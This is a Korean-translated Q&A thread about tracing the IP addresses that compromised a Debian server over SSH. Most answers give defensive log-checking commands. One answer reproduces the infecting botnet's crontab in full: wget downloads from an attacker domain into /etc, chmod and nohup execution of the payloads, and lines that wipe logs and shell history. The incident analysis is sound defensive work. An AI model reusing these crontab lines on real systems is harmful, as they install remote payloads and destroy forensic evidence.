ssh를 통해 서버에 액세스 한 IP 주소 기록


42

내 서버가 해킹되어 알려진 중국 봇넷에 감염된 것으로 나타났습니다.

자체 고정 IP (미국 주소)가있는 프로토 타입 / 테스트 가상 머신이므로 아무런 피해가 발생하지 않았습니다.

이제 침입이 중국에서 발생한 것인지 알기 위해 침입에 사용 된 IP / s를 알고 싶습니다.

서버의 ssh에서 수신 된 연결 기록을 볼 수있는 방법이 있습니까?

편집 : 시스템은 Linux Debian 7입니다.

답변:


45

last네트워크의 빈 공간 대신 ​​명령 의 출력 과 IP 주소 또는 호스트 이름이있는 항목을보십시오. 경우 sshd이 시스템에서, 다음이 당신이가는 것을 수행하는 유일한 방법입니다.

(이것은 리눅스 인 경우) 또는, 당신은 확인할 수 있습니다 /var/log/secure(RH 기반의 배포판에) 또는 /var/log/auth.log위치를 (데비안 기반 배포판에) sshd보통 연결을 추적합니다 그들은 (로그인 성공 기준에 포함되지 않는 경우에도 제작 된 히트 utmp/ wtmp, 어떤 무엇인가 last)에서 읽습니다. 예:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solaris sshd(OpenSSH가 아닐 수도 있음 sshd)는이 정보를/var/adm/messages

편집하다:

@derobert는 훌륭한 지적을합니다. 모든 시스템에서 수퍼 유저 계정이 손상되면 공격자 와 같은 로그 파일을 수정 /var/log/wtmp하거나 /var/adm/messages공격자가 수정할 수 있기 때문에 모든 베팅이 해제됩니다 . 서버 외부의 로그를 안전한 위치에 보관하면이를 완화 할 수 있습니다.

예를 들어 한 상점에서 데이터 센터의 여러 서버에서만 감사 로그 파일을 수신 할 수 있도록 보안 된 "감사 저장소"시스템이있었습니다. 장래에 비슷한 설정을하는 것이 좋습니다. "테스트 머신이 있습니다"라는 말은 큰 가게에서 작업하는 것처럼 들립니다.


7
귀하의 답변은 거의 모든 것을 다루므로 직접 추가하고 싶지는 않지만 "공격자가 루트를 얻은 경우 대부분의 구성에서 상자의 로깅 데이터는 실제로 신뢰할 수 없습니다. 루트로 쉽게 로그를 편집 할 수 있습니다. "
derobert

1
@derobert, 나는 당신이 제안한 것에 따라 몇 가지 세부 사항을 추가했습니다 :)
Ramesh

잠깐, '/ var / log / secure'는 데비안에 있지 않으며 Red Hat 디스 토스터에 있습니다.
Secko

@Secko 둘 다를 포함하도록 답변을 편집했습니다.
Bratchley

14

서버의 ssh에서 수신 된 연결 기록을 볼 수있는 방법이 있습니까?

이것은 당신에게 목록을 제공해야합니다 :

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

그럼 당신은 사용할 수 있습니다 geoiplookup으로부터 geoip-bin나라에 호스트 이름 또는 IP 주소에서 이동하는 패키지.


유용한 +1. 시간과 날짜를 표시하도록 명령을 업데이트 할 수 있습니까?
Eduard Florinescu

3
@Eduard Florinescu 죄송합니다. 제 sed기술은 그 신이 아닙니다. 좀 더 복잡한 작업을 수행하려면 Python 또는 전용 로그 파서를 사용하십시오. 그러나 당신이 시도 할 수 있습니다 :zgrep sshd /var/log/auth.log* -h |grep -F 'Failed password'
Torkel Bjørnson - 랑겐에게

6

글쎄, 예상대로 @Joel Davis가 말했듯이 모든 로그가 지워졌지만 @Ramesh가 언급 한 파일이 있는데 루트 사용자에 액세스하려고 시도했지만 올바른 암호를 몇 번 입력하지 못하면 연결이 끊어졌습니다. 재 시도가 너무 많습니다.

주소 중 3 개에 대해 추적 경로를 실행했고 2 개는 중국에서, 다른 하나는 파키스탄에서 왔습니다. 이들은 IP입니다.

221.120.224.179
116.10.191.218
61.174.51.221

서버가 손상된 후 서버에 주입 된 봇넷에 대한 자세한 정보 :

해커는 crontab을 편집하여 x 시간마다 모든 CPU를 사용하고 서버 네트워크 출력을 최대로 한 다음 단순히 죽는 7 개의 실행 파일을 실행합니다. 또한 추가 된 줄을 숨기려면 readme를 crontab에 100 번 추가하므로 추가 할 때 crontab -l숨겨진 줄이있는 readme에 의해 스팸이됩니다. 이것을 피하기 위해, 나는 crontab -l | grep -v '^#'그 명령의 출력을 사용했다.

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

보시다시피, 모든 로그 파일이 지워졌 기 때문에 많은 정보를 검색 할 수 없었습니다.

전체 서버 (모든 VM)가 다운되어 사이트 및 proxmox에서 시간 초과가 발생했습니다. 다음은 그래프입니다 (스파이크는 봇넷이 DDoS를 적극적으로 나타내고 네트워크를 감지 함). 봇넷 활동

결과적으로 모든 연결을 차단하기 위해 방화벽에 모든 중국어 IP 주소를 추가 할 것입니다 (중국 사용자가 없으므로 신경 쓰지 않습니다). 또한 원격 루트 로그인을 허용하지 않고 긴 복잡성을 사용합니다 비밀번호. 또한 ssh 포트를 변경하고 개인 ssh 키도 사용할 것입니다.


3
이것은 매우 무서운 일입니다-그들이 어떻게 당신의 시스템에 접근했는지 아십니까? 취약한 암호에 대한 무차별 대입 공격입니까?
user35581 2016 년

3

에서 대답 나는 아래의 정보를 참조하십시오.

SSH 서버에 대해 이야기하면서 명령 줄 솔루션을 제공합니다.

사용자 로그인 및 로그 아웃을 추적합니다 . 파일 /var/log/auth.log에는이 정보가 있어야합니다.

해당 사용자의 활동 추적 : 다소 무고한 경우 .bash_history홈 디렉토리에서 파일 을 확인할 수 있습니다 . 실행 한 명령 목록이 표시됩니다. 문제는 물론이 파일을 삭제하거나 편집 할 수 있다는 것입니다.

사용자가 로그를 삭제하지 못하도록 방지 : 사용자 는를 만질 수 없습니다 auth.log. 그들이 놀지 못하게하려면 bash_history몇 가지 트릭을해야합니다.

사용자가 루트 액세스 권한을 얻으려면 어떻게해야합니까? : 넌 망했어. 그가 실수하지 않으면 모든 발자국을 숨길 수 있습니다.

또한 답변에서 SSH_CLIENT변수를 사용하여 클라이언트의 IP 주소를 볼 수 있습니다 .

또한 답변에서 ssh 기록을 이러한 파일에 저장할 수 있음을 알았습니다.

뿐만 아니라 /var/log/lastlog, 3 개 파일이 있습니다 /var/run/var/log: utmp, wtmp그리고 btmp현재 로그인 (추가 정보)에 대한 정보, 역사 및 로그인 실패를 개최. 자세한 설명 은 위키 를 참조하십시오 . 일반 편집기로는 파일을 편집 할 수 없지만 지울 수 있습니다.


1

마지막 10 명의 사용자가 시스템에 로그인하도록하는 가장 간단한 명령은 last|head입니다.

모든 사용자가 단순히 last명령을 사용하게하려면


1

이 기계는 손상되었습니다. 즉, 과거 또는 현재의 모든 데이터를 더 이상 신뢰할 수 없습니다.

한마디로 대답은 '아니오'입니다. 이 컴퓨터에 기록 된 로그 파일에서 원래 주소를 찾을 수 없습니다.

닦고 다시 설치하십시오. 그리고 패치.


1

비밀번호를 사용한 성공적인 로그인 시도 만 보려면 :

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

1

데비안에서는 테스트 검색이 약간 다릅니다.

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.